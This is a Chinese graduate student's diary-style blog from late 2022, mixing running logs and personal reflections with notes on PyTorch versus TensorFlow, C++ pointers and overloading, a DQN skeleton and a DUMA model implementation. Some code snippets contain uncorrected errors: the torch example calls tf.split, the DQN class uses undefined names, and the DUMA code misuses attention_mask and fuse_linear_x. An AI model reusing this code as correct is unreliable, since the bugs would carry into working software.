【完结】囚生CYの备忘录(20221121-20230123)

序言

上一篇写到字数上限,刚好这对我来说也是一个转折点,11月20日晚跑出场地万米42分整的历史第二好成绩,极大扭转了连日不振的状态,让我再次相信身体依然年轻,没有什么事情是办不到的。这两天早睡早起,控制饮食,想要重新把生活安回到正轨,既是希望身体素质能够在当前节点上进而提升,也希望精神能够维持住高效的工作状态,尽快弥补之前的缺漏。

人总是艳羡辉煌的成就,却鲜有去发掘成就的起点,好大喜功计划宏大的目标,却摸不清当下定位。夏虫不可语冰,子非鱼安知鱼之乐?少一些观点的强加,多一些对道与志相异的尊重。

有时候我会思考以后应当怎样做一个父亲,这看起来似乎很遥远,又好像近在眼前。理想中子女能够跟我一样热爱跑步,小时候能教会TA编程乃至TA精通一门语言。但是又如何能做到这一点呢?这使我陷入困惑,我想是不会去强迫TA做什么事情,因为我也不喜欢被人PUSH去做事。看起来似乎只能听天由命,或许通过耳濡目染能够让TA逐渐认可并追随我的生活方式。

人无需为自己的信念与选择做任何辩护,只要无愧于己,只有心有愧疚的人才会千方百计地去自我粉饰。遗憾的是生活中我们很难真实全面地认识一个人,这需要长时间的沟通与不断深入的交流,因而更多时候的唯结果论就会慢慢扭曲人的信念与选择,乃至其原本的面貌。

所以,我从SXY身上看到的是她原本的面貌吗?亦或是我自己的样子,多少是有些共情在里头的罢,希望也能跟我一样重新找回生活的刺激点。

这是最后一年了,再不把握住,就如此遗憾终了,这样真的好吗?



20221121~20221122

【PyTorch v.s. TensorFlow】有相当一部分函数在PyTorch和TensorFlow中都是共通的,因此两者有区别的部分作记录。

split函数原型:

  1. torch.split(tensor, split_size_or_sections, dim=0)
  2. tensorflow.split(value, num_or_size_splits, axis=0, num=None, name='split')

我一直想吐槽这个事情,axisdim明明是一个意思,但是torch和tf里的函数都是一个德性,有的函数用axis,有的函数用dim,如果没有代码提示就很容易记混。

这里主要关注两个函数的第二个参数,其实这个参数既有共通之处,也有不同之处。

  • split_size_or_sectionsnum_or_size_splits接受的参数是一个包含整数的列表List[int],此时两个函数效果是完全一样的,即按照给定的列表在指定dimaxis维上进行划分,具体如下:
# Split `x` of size [5, 30] into 3 tensors with sizes [4, 15, 11] along dimension 1
import tensorflow as tf
x = tf.Variable(tf.random.uniform([5, 30], -1, 1))
split0, split1, split2 = tf.split(x, [4, 15, 11], 1)
print(tf.shape(split0).numpy())	# array([5, 4], dtype=int32)
print(tf.shape(split1).numpy())	# array([5, 15], dtype=int32)
print(tf.shape(split2).numpy())	# array([5, 11], dtype=int32)

import torch
x = torch.randn(5, 30)
split0, split1, split2 = tf.split(x, [4, 15, 11], 1)
print(split0.size())	# torch.Size([5, 4])
print(split1.size())	# torch.Size([5, 15])
print(split1.size())	# torch.Size([5, 11])
  • split_size_or_sectionsnum_or_size_splits接受的参数是一个整数n,此时两个函数的效果完全不同,对于tf而言,这是在指定axis维上将张量划分成n等份,而对于torch,这是在指定axis维上将张量划分成每份长度为n的切片。

    具体而言,给定张量x的形状是(2, 3, 16),那么torch.split(x, 2, -1)tf.split(x, 8, -1)的效果都是将x划分成8份形状是(2, 3, 2)的切片。

此坑源于将MultiHeadAttention源码中的tensorflow改写成torch,源码对应部分:

# Split and concat
Q_ = tf.concat(tf.split(Q, num_heads, axis=2), axis=0) # (h*N, T_q, d_model/h)
K_ = tf.concat(tf.split(K, num_heads, axis=2), axis=0) # (h*N, T_k, d_model/h)
V_ = tf.concat(tf.split(V, num_heads, axis=2), axis=0) # (h*N, T_k, d_model/h)

应改写为:

self.size_of_head = int(d_model / num_heads)
# Split and concat
Q_ = torch.cat(torch.split(Q, self.size_of_head, dim=-1), axis=0) # (h*N, T_q, d_model/h)
K_ = torch.cat(torch.split(K, self.size_of_head, dim=-1), axis=0) # (h*N, T_k, d_model/h)
V_ = torch.cat(torch.split(V, self.size_of_head, dim=-1), axis=0) # (h*N, T_k, d_model/h)

20221123~20221125

  • 陈嘉伟周二自测1500米,走的二道(因为一道散步的人太多),4’48"。去年校运会冠军4’47",亚军王兴耀4’57",季军嘉伟5’02",当时风很大,他状态也不是很好,所以这一年他到底吃啥药了,离大谱。
  • 下周日市运会,所以最近上的强度都特别高,周二12×400米间歇,第一次能开局连续跑出两组1’12"(每隔3秒出发一人,慢在前快在后,这两组我都能第一个跑完,后面两个比我快的都没能追上来,不过后面10组就只能被大佬肆意屠杀了),跑完腿就软了,剩下的也都勉强能进1’20",水平比之前提高了不少。
  • 不过这次市运会甲组取消了男子5000米和女子3000米的项目,所以我是没机会了。嘉伟和卢星雨被迫赶鸭子上架练800米和1500米。昨晚8×15个空杆(20kg)箭步跳+8×50米单脚跨步跳+8×50米跨步跳+2×20个立卧撑+一刻钟核心训练,加上热身的5000米(前3k4’30"配速带卢星雨,后2k跟嘉伟玩命,讲道理跟卢星雨跑的也不算快,但是都感觉有些吃力,最近指定是又不行了),今天果断浑身疼死。

几个有用的模板资源:

另外ConceptNet目前支持在线API,不过肯定是能在本地使用最好,ConceptNet官网里找到FAQ,里面给到了图谱下载的链接,不到500M

目前觉得DUMA和HRCA都太非人类了,不作分句就直接将整篇文章塞进去,这么粗暴真的好吗?对于DREAM来说可能还OK,但是RACE的文章实在是太长了,根本跑不动。


20221126

  • 1000米首次打开3’25"。本来今天腿疼得要死(力量训练后第二天是最疼的),本来还在犹豫要不要去训练,结果午睡起来下楼碰到李婷玉(后面还跟着廖是深,严重怀疑李婷玉已经把男票带自个房间里去),被两人押着去操场,躲也躲不掉。嘉伟在练4×400米接力(今天测下来是3’48")和800米,东哥放养我们几个没比赛任务的去跑5×1000米,因为剩下的只有我跑的最快,只能我来带队。第一个1000米就跑出3’25",第一圈用时1’16",说明后面掉速得厉害,如果能维持第一圈的速度,是可以打开3’15"的,速耐还得继续练。
  • 第一组就甩了第二卢星雨20多秒,后面我也没就认真跑了(第二组被内道散步的人给撞了两次,然后就泄气不想用力了),新来的两个男生居然连卢星雨都跑不过,不过卢星雨能把1000米跑进3’50"属实也很厉害,后面几个女生连4分半都跑不进。不过她只跑两组就摸鱼去了。

关于C++字符指针的问题:

众所周知整型指针int x=1, *p=&x; cout << p;输出的是x的地址,但是char c='a', *p=&c; cout << c;这是会出错的。

原因具体看下面的例子:

#include <iostream>
using namespace std;

int main()
{
	char s[10] = "abcdef";
	char t = 'a';
	char *p = s;
	cout << p << endl;
	char *q = &t;
	cout << q << endl;
	return 0;
}

显然输出p得到的是abcdef,这个是没有什么问题的;但是输出q就会有问题,原因是C++在输出字符指针时并不是输出其存储的地址,而是直接输出其指向的地址中存储的字符变量,但是一般来说如果字符指针*p指向的是一个字符串,当然就会正常输出,但是如果指向的是一个单一字符,那么问题就来了,运算符<<可不知道它到底接收的是指向什么东西的字符指针,只会依葫芦画瓢地按照字符串的情况进行输出,结果发现一直找不到结束符\0,于是就一路输出下去,直到溢出。

所以想要正常输出q中存储的地址,必须写成cout << (void*)q << endl;

别问我为什么又开始学C++了,说多了都是泪。


20221127~20221128

  • 昨晚脑子一热就跟sxy提了个约。她这学期call我是有点频繁,以前都是真的有事才会聊,可能现在真的是活得有点累,我觉得也应该回应她(或许我真的是很想见)。说起来她应该是欠我一顿饭的(没能吃到也是我活该),不过我们确实是太久不见了,陈年往事也没啥好提。可能我一直都有在刻意保持距离,总觉得靠得太近又会伤到彼此,有点担心自己会再脑子一热去表白,但是我也很害怕会永远错过,这已经是最后一年了。
  • 寒潮前夕,今天倒还算比较暖和,晚上碰到陈嘉伟看到他还是短袖短裤,显得我有点格格不入,他们本周日市运会有比赛任务的,最近每天都要加练,听说昨天深蹲都上到130kg了,属实狠人。
  • 节奏加紧,双线乃至三线并进,不拿出点看家本事是活不过下个月,无奈之举,我是真的不想这样过,但是晚上临走还是去操场小跑了一会儿。想想昨天上马刚结束,还有点小失落的,看到上财马协里李朝松和叶凯浩两人破三,用时238和241,分列38名和46名,真的是太强了,破三对我来说还是那么遥远的事情,目前全马破三配速我只能干到10km出头,而且总感觉接下来能训练的时间是越来越少了。

关于ANT(adoptive nerual tree,自适应神经树,论文链接),我觉得有一个很好的点,就是模型需要重训练。其实我一开始没看明白为什么模型可以不断生长,因为如果模型不确定,又该如何进行训练呢?后来看明白终于知道,从初始状态(一个根节点)开始,就要进行训练,然后每次训练后模型(树)都会加深一层(根据加深后的模型效果,计算熵值确定是否分支),预先会定义好树的最大深度,这样就一定会停下。显然这个训练开销是非常庞大的。

这种重训练的思想在类似的神经网络与遗传算法结合的方法也有使用,因为每次进行变异,都需要对模型进行重训练并确定其适应值,重训练的思路是值得关注的,可以理解为是训练好之后,进行一些后处理再进行新一轮的训练,从优化的角度来看,就是在优化到一定程度时,人为地根据合理设计好的指标对优化方向进行调整,以确保收敛到全局最优处。


20221129

  • 下午年级大会,听完感觉毕业也不是很难(是我飘了,但是我觉得总不至于一篇都发不出来吧)。
  • 会后回去换衣服,明后骤冷且有雨,肯定不适合训练,今天再不练实在说不过去。本来是准备去操场跑,许兴鹏想一起去健身房就一起去了,其实这是我第一次去健身房,果然全是肌肉猛男,惹不起。下午队里在训练,我试了一下无助力跑步机,发现完全适应不了,控制不了速度,要么一下子上天,要么就慢的要死,我看去年王兴耀能在这种无助力跑步机上4分配干10km还以为很好跑的。索性去正常跑步机上开15km/h(4分配)干5km,勉强维持状态,等寒潮过了准备抽空上长距离。

关于C++重载(指针&引用)的记录:

众所周知,重载书面上的定义特别简单,其实就是形参列表不同(类型不同或者参数顺序不同),但是一旦涉及指针和引用就很搞:

void f(int x) {}
void f(int* x) {}
void f(const int x) {} // 不能重载
void f(const int* x) {} // 可以重载
void f(int* const x) {} // 不能重载 

注意上面的const int x是与int x冲突而无法重载且无法通过编译,但是const int* x就不会与int* x发生冲突,这就很神奇。

然后引用就更神奇了:

void f(int x) {}
void f(int &x) {}

这个其实是可以重载的,至少可以通过编译,但是你实际调用f(x)时就会报错ambiguous,因为编译器并不知道你到底要使用哪个函数。


20221130~20221201

  • 长者走好。与长者同乡,亦是校友,昨晚听闻此事,扬州中学的三年时光忽又浮现脑海,如今看来那或许是我人生最后一段兴趣使然、自由无畏、无忧无虑的时光。或许是因为长者曾在此读书的缘故,扬中始终都没有像其他学校push得很紧,没有逼迫也鲜有压力,尽管身边有比我更强大的人,或许是对手,但更多的一定是朋友。只是可惜,虽然我也曾站上顶点,却一次次挫败终而抱憾离去。
  • 以前一直觉得高中老班钱伟外强中干,一副老好人形象,不怎么管学生,讲课不过差强人意(本来数学课也没几个人听,他也清楚我们都会),考试成绩出来都是象征性地点几个有点退步去训两句,典型地走个流程。他分明就是运气好捡到了我们这个最好的班,每次包揽年级前10前20大半席位,前100也是1/3都在我们当中。但是现在想想他能用那种佛系风格30多岁做到年级组长,也确是一种本事。
  • 晚上冒着雨夹雪跟嘉伟热身干了5000米,然后脱掉羽绒服和长裤,短袖紧身裤上阵3’40"配速又干了3圈。这周状态养得很好,今晚想拉长距离,冬训就该练体能,可惜起步被冻得兴奋了,跑得特别快,但是本来就已经有点累了,于是很快崩垮。后来雨越下越大,做了两组负重箭步就就撤了,计划明天补上长距离。
  • 今年沪上第一场雪呢,你是否也看到了?sxy。每年到12月份都会有些许伤感,一年又过去,似乎又有很多事情没有做成,往事却又如昨日云烟。

照着伪代码(链接在代码中)写了一个DQN的基类,以备后用(其实我一直觉得推荐已经做的很好了,而且就推荐而言,做得一般好差不多也就够用了,人心怎么可能完全的量化呢?现在感觉就是把简单的问题强行复杂化):

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn
# https://blog.csdn.net/weixin_43398590/article/details/107130244

import random
from copy import deepcopy

class BaseDQN:

	def __init__(self, n_epi, max_step, C, gamma=0.95):
		self.n_epi = n_epi			# 执行多少个episode
		self.max_step = max_step	# 生成序列的最大程度
		self.C = C					# 隔多少步更新Q网络
		self.gamma = gamma			# 折现因子
		self.initialize_buffer()	# 初始化内存buffer: 存储生成的序列
		
	def demo(self):
		initialize_Q_network()
		for epi in range(self.n_epi):
			current_state = sample_initial_state()
			for t in range(self.max_step):
				# Find next action
				feasible_actions = self.get_all_actions(state=current_state)
				if random.random() < 1e-2:
					# Epsilon greedy
					action = random.choice(feasible_actions)
				else:
					score = -float('inf')
					action = None
					for cand_action in feasible_actions:
						cand_score = self.Q(s=current_state, a=action)
						if cand_score > score:
							action = cand_action
							score = cand_score
				next_state = self.transaction(state=current_state, action=action)
				reward = self.get_reward(state=current_state, action=action)
				self.update_buffer(current_state, action, reward, next_state)
				sampled_buffer = self.sample_from_buffer()
				if t == self.max_step - 1:
					y_true = sampled_buffer['reward']
				else:
					_action, _score = self.find_optimal_action_Q_hat(state)
					y_true = sampled_buffer['reward'] + _score
				y_pred = self.Q(s=sampled_buffer['current_state'], a=sampled_buffer['action'])
				self.calc_loss_and_backward_propagation(y_true, y_pred)
				if t % C == 0:
					self.Q_hat = deepcopy(Q)

	# 初始化buffer
	def initialize_buffer(self):
		self.buffer = {'current_state'	: list(),	# s_i
					   'action'			: list(),	# a_i
					   'reward'			: list(),	# r_i
					   'next_state'		: list()	# s_{i+1}
					   }
	# 损失函数计算以及反向传播
	def calc_loss_and_backward_propagation(self, y_true, y_pred):
		pass
		
	# 初始化Q网络,hat Q直接复制Q网络
	def initialize_Q_network(self):
		self.Q = None				# Q(s, a)
		self.Q_hat = deepcopy(Q)
		
	# 采样一个初始状态
	def sample_initial_state(self):
		state = None
		return state


	# 给定当前state,找到所有可行的action
	def get_all_actions(self, state):
		actions = list()
		return actions

	# 给定state,计算根据\hat Q得到的最优action
	def find_optimal_action_Q_hat(self, state):
		feasible_actions = self.get_all_actions(state)
		score = -float('inf')
		action = None
		for cand_action in feasible_actions:
			cand_score = self.Q_hat(s=current_state, a=action)
			if cand_score > score:
				action = cand_action
				score = cand_score
		return action, score
		
	# 根据状态和行动得到下一个状态
	def transaction(self, state, action):
		next_state = None
		return next_state
		

	# 给定状态和行动计算奖励
	def get_reward(self, state, action):
		reward = None
		return reward

	# 将新生成的状态转移(或序列)更新到buffer中
	def update_buffer(self, current_state, action, reward, next_state):
		self.buffer['current_state'].append(current_state)
		self.buffer['action'].append(action)
		self.buffer['reward'].append(reward)
		self.buffer['next_state'].append(next_state)

	# 从buffer中采样一个batch的数据用于训练
	def sample_from_buffer(self):
		sampled_buffer = None
		return sampled_buffer

20221202

  • 下午四点起跑,身体很轻,节奏却很差,配速4’02"干了10圈跑到力竭,差强人意,虽然我本意是万米起步。这周明显状态非常好,饮食充足、休息规律,心理也乐观许多,十二月最好能拉上半马。
  • 跑完看到一对情侣在做跑后拉伸,而且看拉伸动作和身上的装备,明显是女生要专业得多,我本以为卢星雨已经是珍稀物种了,实话说看得我有点小羡慕哈哈。

如果显存不够,可以考虑只将模型的一部分放在CUDA上计算,另一部分可以在CPU上计算,这样实现起来虽然有点冗余。比如你将BERT或者ROBERTA这种大模型放在自定义的Module中,model.to(‘cuda’)之后就直接炸了,还是只能通过参数把模型传进去,在CPU把结果计算出来再转到CUDA上,是可行的。


20221203

  • 市运会第一日,虽然我没有到现场,但是还是值得去记录的。有值得高兴的事情,陈嘉伟巨大突破,800米跑出2分11秒的超级成绩,在竞争极其激烈的甲组男子800米(56人参加)中跑出第6名,嘉伟真的是每次都让我瞠目结舌,每次都觉得他已经达到极限,却总能再次突破。他现在1000米肯定是已经能破三,5000米极有可能已经可以打破18分钟大关了。明天的1500米拭目以待。
  • 其他拿到名次的是女子4×100米(第8),男子110米跨栏(顾紫阳第6)。
  • 女子800米虽然全军覆没,黄嘉懿2’58"屈居第十,卢星雨3’01"(对于一个女博士来说已经是很强了,我现在800米估摸着也就勉强能开2’40",去比赛也就倒数前十)。男子4×100米无奈垫底(居然还让陈嘉伟上4×100米,这不把他累死)。明天的看点是男女的100米以及女子跳远,李婷玉和廖是深这对姐弟恋都是很有机会拿名次的。
  • 杨申宇太可惜了(400米破54秒的超级实力,队里短跑最强者),110米栏预赛受重伤,已经送医院了。他的预赛成绩足以拿到前三,而且缺了他这员大将,明天的男子4×400米凶多吉少(男子4×400米本来是有机会冲冠的)。
  • 有时候真的看到这些成绩就觉得自己还能再战一百年,虽然短跑和中长可能是没有机会了,但是5000米我还是有机会能破开19分钟大关,好想好想在赛道上这样热血沸腾一回,不然真的老了就再也没有机会了。

在这里插入图片描述
队旗左上比耶的是我的超人陈嘉伟(我愿称之为真男人,他这一年的恐怖进步我是看在眼里的,天赋无敌),捏着队旗右上角的是商院全能战神卢星雨,队旗左下坐着的是法学院博士兼队长李婷玉,最右边那个帅哥当然是东哥无疑。

我最近发现DUMA存在梯度消失问题,损失函数一直不变,挂一下DUMA的实现,想想怎么加点残差连接进去,或许参数初始化要改改:

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn
# Implementation of DUMA

import torch
from torch.nn import Module, Linear, NLLLoss, functional as F

from setting import DEVICE
from src.tool.pretrained_model_tool import load_transformer_model
from src.module.attention_module import MultiHeadAttention

class DUMA(Module):
	"""Forward propagation algorithm of DCMN+
	Reference: [DUMA: Reading Comprehension with Transposition Thinking](https://arxiv.org/abs/2001.09415v5)
	Notice here we do not do sentence tokenization in DUMA (also in HRCA), but directly input the whole article tokens into model, which is different from Co-Matching and DCMN+
	This is feasible for DREAM, but in RACE, the number of total article tokens may be 1000+, which is hard for training.
	- Input:
	  - $P \in \R^{d×p}$ 
	  - $Q \in \R^{d×q}$
	  - $A = \{A_1, ..., A_m\}, A_j \in \R^{d×a}$
	- Output:
	  - $L \in \R^m$
	- Example:
	>>> args = load_args(Config=ModuleConfig)
	>>> kwargs = {'train_batch_size'		: 8,
				  'max_article_token'		: 128,
				  'max_question_token'		: 16,
				  'max_option_token'		: 24,
				  'duma_fuse_method'		: None,	# Change as 'mul', 'sum', 'cat'
				  'duma_num_layers'			: 2,
				  'duma_mha_num_heads'		: 8,
				  'duma_mha_dropout_rate'	: 0.,
				  'duma_pretrained_model'	: 'albert-base-v1',
				  'duma_encoding_size'		: 768}
	>>> update_args(args, **kwargs)
	>>> P_size = (args.train_batch_size, args.max_article_token)
	>>> Q_size = (args.train_batch_size, args.max_question_token)
	>>> A_size = (args.train_batch_size * N_CHOICES, args.max_option_token)
	>>> test_input = {'P'	: {'input_ids'		: (torch.randn(*P_size).abs() * 10).long(),
							   'token_type_ids'	: torch.zeros(*P_size).long(),
						   	   'attention_mask'	: torch.ones(*P_size).long()},
					  'Q'	: {'input_ids'		: (torch.randn(*Q_size).abs() * 10).long(),
						   	   'token_type_ids'	: torch.zeros(*Q_size).long(),
						   	   'attention_mask'	: torch.ones(*Q_size).long()},
					  'A'	: {'input_ids'		: (torch.randn(*A_size).abs() * 10).long(),
						   	   'token_type_ids'	: torch.zeros(*A_size).long(),
						   	   'attention_mask'	: torch.ones(*A_size).long()},
					  }
	>>> duma = DUMA(args=args)
	>>> duma_output = duma.forward(**test_input)"""
	loss_function = NLLLoss()
	def __init__(self, args):
		super(DUMA, self).__init__()
		self.p = args.max_article_token
		self.q = args.max_question_token
		self.a = args.max_option_token
		self.m = args.n_choices
		self.l = args.duma_encoding_size
		self.k = args.duma_num_layers
		self.fuse_method = args.duma_fuse_method

		self.multi_head_attention = MultiHeadAttention(d_model=args.duma_encoding_size, num_heads=args.duma_mha_num_heads, dropout_rate=args.duma_mha_dropout_rate)
		self.fuse_linear_x = Linear(self.l, self.l, bias=True)
		self.fuse_linear_y = Linear(self.l, self.l, bias=True)
		if self.fuse_method in ['mul', 'sum']:
			self.W = Linear(self.l, 1, bias=False)
		elif self.fuse_method == 'cat':
			self.W = Linear(2 * self.l, 1, bias=False)
		else:
			self.W = Linear(self.l, 1, bias=False)
		if args.load_pretrained_model_in_module:
			self.pretrained_model = load_transformer_model(model_name=args.duma_pretrained_model, device=args.pretrained_model_device)
			self.pretrained_model.eval()
		else:
			self.pretrained_model = None
	# @param P	: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size, max_article_token)
	# @param Q	: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size, max_question_token)
	# @param A	: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size * N_CHOICES, max_option_token)
	def forward(self, P, Q, A, pretrained_model=None):
		E_P, E_QA = self.encoder(P, Q, A, pretrained_model=pretrained_model)
		O = self.dual_multi_head_co_attention(E_P, E_QA)	# O: (batch_size, N_CHOICES, ?)
		L = self.decoder(O)									# L: (batch_size, N_CHOICES)
		return L

	# @param P		: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size, max_article_token)
	# @param Q		: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size, max_question_token)
	# @param A		: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size * N_CHOICES, max_option_token)
	# @return E_P	: (batch_size, N_CHOICES, max_article_token, duma_encoding_size)
	# @return E_QA	: (batch_size, N_CHOICES, max_question_token + max_option_token, duma_encoding_size)
	def encoder(self, P, Q, A, pretrained_model=None):
		batch_size = P['input_ids'].size(0)
		size_of_split_choice = (batch_size, self.m, self.a)
		A['input_ids'] = A['input_ids'].view(*size_of_split_choice)
		A['token_type_ids'] = A['token_type_ids'].view(*size_of_split_choice)
		A['attention_mask'] = A['input_ids'].view(*size_of_split_choice)
		E_list = list()
		for i in range(self.m):
			concat_inputs = {'input_ids'		: torch.cat([P['input_ids'], Q['input_ids'], A['input_ids'][:, i, :]], axis=-1),				# (batch_size, max_article_token + max_question_token + max_option_token)
							 'token_type_ids'	: torch.cat([P['token_type_ids'], Q['token_type_ids'], A['token_type_ids'][:, i, :]], axis=-1),	# (batch_size, max_article_token + max_question_token + max_option_token)
							 'attention_mask'	: torch.cat([P['attention_mask'], Q['attention_mask'], A['attention_mask'][:, i, :]], axis=-1),	# (batch_size, max_article_token + max_question_token + max_option_token)
							 }
			E_list.append(pretrained_model(**concat_inputs).last_hidden_state.unsqueeze(1) if self.pretrained_model is None else self.pretrained_model(**concat_inputs).last_hidden_state.unsqueeze(1))
		E = torch.cat(E_list, axis=1)				# E		: (batch_size, N_CHOICES, max_article_token + max_question_token + max_option_token, duma_encoding_size)
		E_P = E[:, :, :self.p, :]					# E_P	: (batch_size, N_CHOICES, max_article_token, duma_encoding_size)
		E_QA = E[:, :, self.p:, :]					# E_QA	: (batch_size, N_CHOICES, max_question_token + max_option_token, duma_encoding_size)
		return E_P.to(DEVICE), E_QA.to(DEVICE)

	# @param E_P	: (batch_size, N_CHOICES, max_article_token, duma_encoding_size)
	# @param E_QA	: (batch_size, N_CHOICES, max_question_token + max_option_token, duma_encoding_size)
	# @return O		: (batch_size, N_CHOICES, ?) where ? could be duma_encoding_size or 2 * duma_encoding_size
	def dual_multi_head_co_attention(self, E_P, E_QA):
		O_list = list()
		for i in range(self.m):
			E_P_i = E_P[:, i, :, :]															# E_P_i	: (batch_size, max_article_token, duma_encoding_size)
			E_QA_i = E_P[:, i, :, :]														# E_QA_i: (batch_size, max_question_token + max_option_token, duma_encoding_size)
			MHA_1 = self.multi_head_attention(queries=E_P_i, keys=E_QA_i, values=E_QA_i)	# MHA_1	: (batch_size, max_article_token, duma_encoding_size)
			MHA_2 = self.multi_head_attention(queries=E_QA_i, keys=E_P_i, values=E_P_i)		# MHA_2	: (batch_size, max_question_token + max_option_token, duma_encoding_size)
			if self.k > 1:
				# Stack k layers
				for _ in range(self.k - 1):
					MHA_1 = self.multi_head_attention(queries=MHA_1, keys=MHA_2, values=MHA_2)							# MHA_1	: (batch_size, max_article_token, duma_encoding_size)
					MHA_2 = self.multi_head_attention(queries=MHA_2, keys=MHA_1, values=MHA_1)							# MHA_2	: (batch_size, max_question_token + max_option_token, duma_encoding_size)
			O_i = self._fuse(x=MHA_1, y=MHA_2)																			# O_i	: (batch_size, ?)
			O_list.append(O_i.unsqueeze(1))
		O = torch.cat(O_list, axis=1)																					# O		: (batch_size, N_CHOICES, ?)
		return O

	# @param O		: (batch_size, N_CHOICES, ?) where ? could be duma_encoding_size or 2 * duma_encoding_size
	# @return L		: (batch_size, N_CHOICES)
	def decoder(self, O):
		L_unactived = self.W(O).squeeze(-1)						# L_unactived	: (batch_size, N_CHOICES)
		L = F.log_softmax(L_unactived, dim=-1)					# L				: (batch_size, N_CHOICES)
		return L

	# @param x	: (batch_size, x_length, duma_encoding_size)
	# @param y	: (batch_size, y_length, duma_encoding_size)
	# @return	: (batch_size, ?) where ? could be duma_encoding_size or 2 * duma_encoding_size
	# I don not known the concrete implementation of the Fuse function in origin paper, as the author did not provide formulas or codes
	def _fuse(self, x, y):
		x_project = self.fuse_linear_x(x)					# x_project			: (batch_size, x_length, duma_encoding_size)
		y_project = self.fuse_linear_x(y)					# y_project			: (batch_size, y_length, duma_encoding_size)
		x_project_pooled = torch.max(x_project, axis=1)[0]	# x_project_pooled	: (batch_size, duma_encoding_size)
		y_project_pooled = torch.max(y_project, axis=1)[0]	# y_project_pooled	: (batch_size, duma_encoding_size)
		if self.fuse_method == 'mul':
			return torch.sigmoid(x_project_pooled * y_project_pooled)						# @return	: (batch_size, duma_encoding_size)
		elif self.fuse_method == 'sum':
			return torch.sigmoid(x_project_pooled + y_project_pooled)						# @return	: (batch_size, duma_encoding_size)
		elif self.fuse_method == 'cat':
			return torch.sigmoid(torch.cat([x_project_pooled, y_project_pooled], axis=-1))	# @return	: (batch_size, 2 * duma_encoding_size)
		else:
			# Inspired from FuseNet in https://github.com/Qzsl123/dcmn/blob/master/dcmn.py
			p = torch.sigmoid(x_project_pooled + y_project_pooled)			# p			: (batch_size, duma_encoding_size)
			return p * x_project_pooled + (1 - p) * y_project_pooled		# @return	: (batch_size, duma_encoding_size)

20221204

  • 市运会谢幕,队内拿到的名次包括一块金牌(女子跳远),2个第6(男子跨栏+男子800米),3个第7(女子4×400,女子跳远,?),3个第8(男子4×400,女子4×100,?)。女子组相对竞争小一些,比如4×400一共就10个队参加,所以女生其实只要肯练基本上还是挺好拿名次的,但是径赛还是要有硬实力的,黄嘉懿和卢星雨在1500米分获第9(5’58")第10(6’04"),真的就是差一点点,特别可惜,而且今天还是雨战,对男生是无所谓,女生还是太勉强了。
  • 然后重头戏是陈嘉伟的1500米,此前他队内自测(跑的2道)成绩是4’48",当时预测正式比赛能稳进4’45",今天奇迹般跑出4’40"(去年校运会冠军4’47",王兴耀4’57"),1000米分段用时3’07",然而即便如此都未能跑进前八(46人排名11),男子确实竞争太激烈。后来我看了一下乙组5000米,2人跑进15分钟,陈嘉伟如果能跑到十八分整,也只能排倒数第四(21人),前八全部跑进16分钟,太残暴了。
  • 市运会四年一届肯定是再没有机会参加了,虽然也有许多人跟我一样遗憾,ysy受伤,而且因为今年两天都有雨,跳高项目全部取消,所以gzj等于是去公费吃喝了两天,啥事儿没做。下午去操场慢跑10圈,刚好看到他们回来,我又想起去年高百,那时候我也是同他们一样兴奋,清晨5点出发,第一棒就跑出43分整的10km路跑PB,走一天路都没觉得累,直到回宿舍瘫倒在床,小腿酸涨得再起不能。
  • 年轻真好。

我终于发现问题在哪儿,dual_multi_head_co_attention里E_QA_i取成E_P了,所以我改完又在MHA上加了残差连接(直接把MHA_1+E_PMHA_2+E_QA),然后现在看起来确实正常多,但是loss波动得厉害,感觉又explosion了。

有没有办法让torch运算都在CUDA上?只要运算完就把变量全部撤到CPU中,比如我要计算t3=t1+t2,那么只要执行到这个时,将t1t2放到CUDA上,完事算完再把它们拿下来,因为显存要比内存小得多,虽然转移变量的位置很费时间,但是这样也相当于是用时间换空间了,如果torch里有办法直接配置就好了。


20221205~20221206

  • 寒潮过境后的晴朗冬日,下午场地万米自测41’15"(PB),断断续续练了三个月,才终于恢复到巅峰。可是年底也没有比赛能跑,怅然若失。
  • 本周日有个院庆40周年的跑步活动,在滨江大道一条路线5km的路线,如果没被抓去写本子就去凑个热闹,手头事情确实紧,而且今天七号楼羊了一个,不过风向是不让封校的,所以权当无事发生。
  • 昨晚跟组里研二的学妹讨论这次科技部的课题,她忽然说想要读博,我惊诧不已,第一感是找工作形势不好,至少也是对女生不利,第二感就是博士也越来越卷了要,就像有一双无形的手在将新生力量赶尽杀绝。不知道sxy选调面试有没有过,多一条后路总是好的。而我已经无路可退了。

关于弱监督,我估摸着这就是不知道哪个大聪明发明出来用来申报项目的新名词,然后这个词现在看来就很歧义,大致可以指代四种不同的建模思想:

  1. 等价于半监督,即存在大量无标注数据的情况下,如何训练可靠模型。
  2. 指数据的标签是弱标签,具体而言,比如只告诉你图片中有汽车,但是实体识别需要具体指出汽车所在的位置,前者是弱标签,后者则是强标签。这个就有点强行套用的感觉,因为本质上这也可以划归为特征工程问题,弱标签直接当成特征来用也是可以的,或者使用弱标签进行预训练也是可行的。
  3. 训练数据中存在噪声,这也是一种弱监督训练问题。有人说这个其实是数据预处理的问题,有噪声那就去噪不就好了,首先去噪本身也不是一件很容易的事情,更重要的是,有一些特殊的任务本身就是需要数据中存在噪声,比如语音问答,因为语音转文字难免存在噪声的,所以有时候为了模拟实际应用,会故意在问答的输入中增噪来模拟实际情况,使得模型更具有鲁棒性。
  4. 第四种其实是从第三种引申出来的,就是指文本中一种特殊的噪声——歧义,即存在多义词或者整句句意存在歧义的问题。这个我看到的一个是文本分类问题,因为目前通常的文本分类的处理比较依赖种子词(比如情感分类中的情感词),但是种子词如果存在多义情况,那么就会使得问题变得复杂,这里要做的工作有点类似WSD,即单词消歧。

20221207~20221210

  • 这三天困死,每天都没时间睡午觉,早上八点半到,晚上九点半走,这已经是我能容忍的极限了,不睡午觉还是不行,要不然下午四点基本上就要睁不开眼了,晚上效率贼差。
